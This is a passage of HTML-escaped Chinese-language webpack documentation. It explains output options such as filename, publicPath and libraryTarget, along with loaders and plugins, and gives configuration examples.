&lt;h4 id=&quot;output-devtoolLineToLine&quot;&gt;&lt;a href=&quot;#output-devtoolLineToLine&quot; class=&quot;headerlink&quot; title=&quot;output.devtoolLineToLine&quot;&gt;&lt;/a&gt;&lt;code&gt;output.devtoolLineToLine&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;为每个模块建立行到行的映射模型。行到行的映射模型是指，使用一个简单的源代码映射关系将生成的每一行代码和相同行的源代码对应起来。这是一种性能优化的方式。只有在你需要进行性能优化以及确定输入的行和生成的行是匹配的时候，你才应该启用它。&lt;/p&gt;
&lt;p&gt;设置为 &lt;code&gt;true&lt;/code&gt; 可以激活所有模块的行到行映射模型建立（不推荐）。&lt;/p&gt;
&lt;p&gt;就像 &lt;code&gt;module.loaders&lt;/code&gt; 一样，我们可以在一个对象 &lt;code&gt;{test, include, exclude}&lt;/code&gt;  根据指定文件激活它。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值：&lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;output-filename&quot;&gt;&lt;a href=&quot;#output-filename&quot; class=&quot;headerlink&quot; title=&quot;output.filename&quot;&gt;&lt;/a&gt;&lt;code&gt;output.filename&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;指定输出到磁盘上的每个文件的名字。这里你切记不要设置绝对路径！&lt;code&gt;output.path&lt;/code&gt; 选项决定了文件被写入磁盘的位置。&lt;code&gt;filename&lt;/code&gt; 仅仅用来命名单个的文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单入口&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./src/app.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    fliename: &lt;span class=&quot;string&quot;&gt;&#39;bundle.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: __dirname + &lt;span class=&quot;string&quot;&gt;&#39;/build&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// 写入磁盘：./build/bundle.js&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;多入口&lt;/strong&gt;&lt;br&gt;如果你的配置建立了多个分块（当拥有多个入口或者使用了类似 &lt;code&gt;CommonsChunkPlugin&lt;/code&gt; 插件的时候），你应该是用占位符去确保每个文件拥有自己独一无二的名字。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[name&lt;/code&gt; 被分块名称替换&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hash&lt;/code&gt; 被编译阶段的hash替换&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chunkhash&lt;/code&gt; 被分块的hash替换&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    app: &lt;span class=&quot;string&quot;&gt;&#39;./src/app.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    search: &lt;span class=&quot;string&quot;&gt;&#39;./src/search.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;[name].js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: __dirname + &lt;span class=&quot;string&quot;&gt;&#39;/build&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// 写入磁盘：./build/app.js, ./build/search.js&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h4 id=&quot;output-hotUpdateChunkFilename&quot;&gt;&lt;a href=&quot;#output-hotUpdateChunkFilename&quot; class=&quot;headerlink&quot; title=&quot;output.hotUpdateChunkFilename&quot;&gt;&lt;/a&gt;&lt;code&gt;output.hotUpdateChunkFilename&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;热更新分块（the Hot Update Chunks）的文件名。它们在 &lt;code&gt;output.path&lt;/code&gt; 指定的目录下。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[id]&lt;/code&gt; 被分块id替换&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[hash]&lt;/code&gt; 被编译的hash替换（最后的hash值存储在记录中）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值：&lt;code&gt;&amp;quot;[id].[hash].hot-update.js&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;output-hotUpdateFunction&quot;&gt;&lt;a href=&quot;#output-hotUpdateFunction&quot; class=&quot;headerlink&quot; title=&quot;output.hotUpdateFunction&quot;&gt;&lt;/a&gt;&lt;code&gt;output.hotUpdateFunction&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;在webpack中使用的用来异步加载热更新分块的JSONP函数。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值：&lt;code&gt;&amp;quot;webpackHotUpdate&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;output-hotUpdateMainFilename&quot;&gt;&lt;a href=&quot;#output-hotUpdateMainFilename&quot; class=&quot;headerlink&quot; title=&quot;output.hotUpdateMainFilename&quot;&gt;&lt;/a&gt;&lt;code&gt;output.hotUpdateMainFilename&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;热更新主文件的文件名。在 &lt;code&gt;output.path&lt;/code&gt; 指定的目录下。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[hash]&lt;/code&gt; 被编译的hash值替换。（最后的hash值存储在记录中）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值：&lt;code&gt;&amp;quot;[hash].hot-update.json&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;output-jsonpFunction&quot;&gt;&lt;a href=&quot;#output-jsonpFunction&quot; class=&quot;headerlink&quot; title=&quot;output.jsonpFunction&quot;&gt;&lt;/a&gt;&lt;code&gt;output.jsonpFunction&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;在webpack中用来异步加载分块的JSONP函数。&lt;/p&gt;
&lt;p&gt;这是一个较短的函数，也许会稍微减少文件大小。当单页拥有多个webpack实例的视乎使用不同的标识符。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值：&lt;code&gt;&amp;quot;webpackJsonp&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;output-library&quot;&gt;&lt;a href=&quot;#output-library&quot; class=&quot;headerlink&quot; title=&quot;output.library&quot;&gt;&lt;/a&gt;&lt;code&gt;output.library&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;如果设置了这个，会将包以类库的形式导出。&lt;code&gt;output.library&lt;/code&gt; 将会是它的名字。&lt;/p&gt;
&lt;p&gt;只有在你写了一个类库并且想要将它作为单个文件发布的时候使用。&lt;/p&gt;
&lt;h4 id=&quot;output-libraryTarget&quot;&gt;&lt;a href=&quot;#output-libraryTarget&quot; class=&quot;headerlink&quot; title=&quot;output.libraryTarget&quot;&gt;&lt;/a&gt;&lt;code&gt;output.libraryTarget&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;决定了导出库的格式：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;var&amp;quot;&lt;/code&gt; - 通过设置一个变量导出：&lt;code&gt;var Library = xxx&lt;/code&gt;（默认）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;this&amp;quot;&lt;/code&gt; - 通过设置 &lt;code&gt;this&lt;/code&gt; 属性导出：&lt;code&gt;this[&amp;quot;Library&amp;quot;] = xxx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;commonjs&amp;quot;&lt;/code&gt; - 通过设置 &lt;code&gt;exports&lt;/code&gt; 的属性进行导出：&lt;code&gt;exports[&amp;quot;Library&amp;quot;] = xxx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;commonjs2&amp;quot;&lt;/code&gt; - 通过设置 &lt;code&gt;module.exports&lt;/code&gt; 导出：&lt;code&gt;module.exports = xxx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;amd&amp;quot;&lt;/code&gt; - 导出为AMD格式（可选的名称 - 通过库选项设置名称）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;umd&amp;quot;&lt;/code&gt; - 导出为AMD，CommonJS2，或者根属性&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认：&lt;code&gt;&amp;quot;var&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果 &lt;code&gt;output.library&lt;/code&gt; 没有被设置，但是 &lt;code&gt;output.libraryTarget&lt;/code&gt; 设置了非 &lt;code&gt;var&lt;/code&gt; 以外的值，则导出对象的每一个属性会被复制（除了 &lt;code&gt;amd&lt;/code&gt;， &lt;code&gt;commonjs2&lt;/code&gt; 和 &lt;code&gt;umd&lt;/code&gt;）。&lt;/p&gt;
&lt;h4 id=&quot;output-path&quot;&gt;&lt;a href=&quot;#output-path&quot; class=&quot;headerlink&quot; title=&quot;output.path&quot;&gt;&lt;/a&gt;&lt;code&gt;output.path&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;绝对路径形式的输出文件夹（必须）。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[hash]&lt;/code&gt; 被编译的hash替换。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: &lt;span class=&quot;string&quot;&gt;&quot;/home/proj/public/assets&quot;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    publicPath: &lt;span class=&quot;string&quot;&gt;&quot;/assets/&quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;index.html&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight html&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;link&lt;/span&gt; &lt;span class=&quot;attr&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&quot;/assets/spinner.gif&quot;&lt;/span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;下面是一个使用了CDN以及资源hash的更为复杂的例子。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: &lt;span class=&quot;string&quot;&gt;&quot;/home/proj/cdn/assets/[hash]&quot;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    publicPath: &lt;span class=&quot;string&quot;&gt;&quot;http://cdn.example.com/assets/[hash]/&quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt;如果输出文件的 &lt;code&gt;publicPath&lt;/code&gt; 在编译阶段并不明确的话，该字段可以留空以及在入口文件运行时动态设置。如果编译的时候你并不知道 &lt;code&gt;publicPath&lt;/code&gt; 的值，你可以忽略它并在你的入口点设置 &lt;code&gt;__webpack_public_path&lt;/code&gt;。&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt; __webpack_public_path__ = myRuntimePublicPath&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// 余下的应用入口&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h4 id=&quot;output-sourceMapFilename&quot;&gt;&lt;a href=&quot;#output-sourceMapFilename&quot; class=&quot;headerlink&quot; title=&quot;output.sourceMapFilename&quot;&gt;&lt;/a&gt;&lt;code&gt;output.sourceMapFilename&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;为Javascript文件生成的源文件映射关系文件的名字。它们在 &lt;code&gt;output.path&lt;/code&gt;&lt;br&gt;指定的文件夹下。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[file]&lt;/code&gt; 被Javascript文件的名字替换。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[id]&lt;/code&gt; 被分块的id替换&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[hash]&lt;/code&gt; 被编译的hash替换。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值：&lt;code&gt;&amp;quot;[file].map&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;加载器-1&quot;&gt;&lt;a href=&quot;#加载器-1&quot; class=&quot;headerlink&quot; title=&quot;加载器&quot;&gt;&lt;/a&gt;&lt;span id=&quot;loaders&quot;&gt;&lt;/span&gt;加载器&lt;/h2&gt;&lt;p&gt;加载器是用来对你的应用程序中的资源文件进行转换的工具。它们是一些接收原始资源文件源码为参数并返回新的源码的函数（运行在Nodejs中）。&lt;/p&gt;
&lt;p&gt;举例来说，你可以使用加载器告诉webpack去加载一个CSS文件或是将TypeScript代码转换成Javascript代码。&lt;/p&gt;
&lt;h3 id=&quot;加载器特性&quot;&gt;&lt;a href=&quot;#加载器特性&quot; class=&quot;headerlink&quot; title=&quot;加载器特性&quot;&gt;&lt;/a&gt;加载器特性&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;加载器可以被链式调用。它们以管道的形式应用于资源文件。加载器链按照时间顺序执行。第一个加载器将返回值作为下一个加载器的输入，在加载器链的结尾，webpack期望它返回Javascript代码。&lt;/li&gt;
&lt;li&gt;加载器可以是同步也可以是异步的。&lt;/li&gt;
&lt;li&gt;加载器在Nodejs中运行，并且可以执行所有可能的操作。&lt;/li&gt;
&lt;li&gt;加载器接受查询参数。可以通过这个传递配置参数给加载器。&lt;/li&gt;
&lt;li&gt;加载器也可以通过 &lt;code&gt;options&lt;/code&gt; 对象进行配置。&lt;/li&gt;
&lt;li&gt;除了常规的package.json中的 &lt;code&gt;main&lt;/code&gt; 字段将加载器导出之外，还可以通过 &lt;code&gt;loader&lt;/code&gt;字段进行导出。&lt;/li&gt;
&lt;li&gt;插件可以赋予加载器更多特性。&lt;/li&gt;
&lt;li&gt;加载器可以产生额外的其他任意文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过预处理函数（加载器），它们使得Javascript生态系统拥有更加强大的能力。现在用户处理强密度的逻辑时拥有更多的灵活性，例如压缩，打包，语言翻译以及&lt;a href=&quot;https://webpack.js.org/loaders/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;更多&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id=&quot;解析加载器&quot;&gt;&lt;a href=&quot;#解析加载器&quot; class=&quot;headerlink&quot; title=&quot;解析加载器&quot;&gt;&lt;/a&gt;解析加载器&lt;/h3&gt;&lt;p&gt;加载器被&lt;a href=&quot;https://webpack.js.org/concepts/module-resolution/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;近似解析成模块&lt;/a&gt;。一个加载器模块期望导出一个函数，并以Nodejs 兼容的Javascript书写。在一般情况下你通过npm管理加载器，但是你也可以添加加载器文件到你的应用中。&lt;/p&gt;
&lt;h3 id=&quot;参考的加载器&quot;&gt;&lt;a href=&quot;#参考的加载器&quot; class=&quot;headerlink&quot; title=&quot;参考的加载器&quot;&gt;&lt;/a&gt;参考的加载器&lt;/h3&gt;&lt;p&gt;按照惯例，加载器通常以 &lt;code&gt;XXX-loader&lt;/code&gt; 命名，其中 &lt;code&gt;XXX&lt;/code&gt; 代表上下文名称。举个例子：&lt;code&gt;json-loader&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;加载器名称约定和优先搜索顺序由webpack配置API中的&lt;code&gt;resolveLoader.moduleTemplates&lt;/code&gt;定义。&lt;/p&gt;
&lt;h2 id=&quot;插件-1&quot;&gt;&lt;a href=&quot;#插件-1&quot; class=&quot;headerlink&quot; title=&quot;插件&quot;&gt;&lt;/a&gt;&lt;span id=&quot;plugins&quot;&gt;&lt;/span&gt;插件&lt;/h2&gt;&lt;p&gt;插件是webpack的&lt;a href=&quot;https://github.com/webpack/tapable&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;支柱&lt;/a&gt;。webpack本身的构建使用的都是和你的应用中webpack配置相同的一套插件系统。&lt;/p&gt;
&lt;p&gt;它们还可以做任何&lt;a href=&quot;#loaders&quot;&gt;加载器&lt;/a&gt;不能完成的任务。&lt;/p&gt;
&lt;h3 id=&quot;剖析&quot;&gt;&lt;a href=&quot;#剖析&quot; class=&quot;headerlink&quot; title=&quot;剖析&quot;&gt;&lt;/a&gt;剖析&lt;/h3&gt;&lt;p&gt;一个webpack插件是一个拥有 &lt;code&gt;apply&lt;/code&gt; 属性的Javascript对象。这个 &lt;code&gt;apply&lt;/code&gt; 属性会被webpack编译器调用，允许访问编译的整个生命周期。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ConsoleLogOnBuildWebpackPlugin.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;ConsoleLogOnBuildWebpackPlugin&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;ConsoleLogOnBuildWebpackPlugin.prototype.apply = &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;compiler&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  compiler.plugin(&lt;span class=&quot;string&quot;&gt;&#39;run&#39;&lt;/span&gt;, &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;compiler, callback&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(&lt;span class=&quot;string&quot;&gt;&quot;The webpack build process is starting!!!&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    callback();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;作为一个机智的Javascript开发者你可能记得 &lt;code&gt;Function.prototype.apply&lt;/code&gt; 方法。因为这个方法的存在，你可以将任何函数作为插件进行传递（&lt;code&gt;this&lt;/code&gt; 将指向 &lt;code&gt;compiler&lt;/code&gt;）。你也可以在你的配置中使用这种风格去嵌入自定义的插件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;用法-1&quot;&gt;&lt;a href=&quot;#用法-1&quot; class=&quot;headerlink&quot; title=&quot;用法&quot;&gt;&lt;/a&gt;用法&lt;/h3&gt;&lt;p&gt;因为插件可以接收 arguments/options，你必须在你的webpack配置中传递一个 &lt;code&gt;new&lt;/code&gt; 实例给 &lt;code&gt;plugins&lt;/code&gt; 属性。&lt;/p&gt;
&lt;p&gt;这决定于你怎样去使用webpack，我们拥有很多方式去使用插件。&lt;/p&gt;
&lt;h3 id=&quot;配置&quot;&gt;&lt;a href=&quot;#配置&quot; class=&quot;headerlink&quot; title=&quot;配置&quot;&gt;&lt;/a&gt;配置&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; HtmlWebpackPlugin = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;html-webpack-plugin&#39;&lt;/span&gt;); &lt;span class=&quot;comment&quot;&gt;//installed via npm&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; webpack = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;webpack&#39;&lt;/span&gt;); &lt;span class=&quot;comment&quot;&gt;//to access built-in plugins&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;my-first-webpack.bundle.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: &lt;span class=&quot;string&quot;&gt;&#39;./dist&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    loaders: [&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      test: &lt;span class=&quot;regexp&quot;&gt;/\.(js|jsx)$/&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      loader: &lt;span class=&quot;string&quot;&gt;&#39;babel-loader&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  plugins: [&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; webpack.optimize.UglifyJsPlugin(),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; HtmlWebpackPlugin(&amp;#123;template: &lt;span class=&quot;string&quot;&gt;&#39;./src/index.html&#39;&lt;/span&gt;&amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = config;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&quot;Node-API&quot;&gt;&lt;a href=&quot;#Node-API&quot; class=&quot;headerlink&quot; title=&quot;Node API&quot;&gt;&lt;/a&gt;Node API&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;即便是使用Node API的时候，用户也需要通过配置中的 &lt;code&gt;plugins&lt;/code&gt; 属性传递插件。使用 &lt;code&gt;compiler.apply&lt;/code&gt; 并不推荐。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;some-node-script.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; configuration = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;./webpack.config.js&#39;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;let&lt;/span&gt; compiler = webpack(configuration);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;compiler.apply(&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; webpack.ProgressPlugin());&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;compiler.run(&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;err, 